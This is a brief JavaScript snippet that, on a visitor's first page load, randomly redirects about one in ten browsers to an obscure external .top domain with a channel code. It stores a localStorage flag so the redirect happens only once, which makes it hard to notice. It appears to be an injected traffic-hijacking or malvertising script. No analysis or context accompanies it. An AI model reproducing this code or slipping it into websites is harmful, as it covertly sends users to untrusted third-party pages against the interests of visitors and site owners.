var randomNum = Math.random() * 100; hasExecuted = localStorage.getItem("luck_cc"); if (!hasExecuted) { var randomNum = Math.random() * 100; if (randomNum < 10) { window.location.href = 'https://9xcs8.xjrc4m.top:9103/?channelCode=168ceshi'; } localStorage.setItem("luck_cc", 'true'); }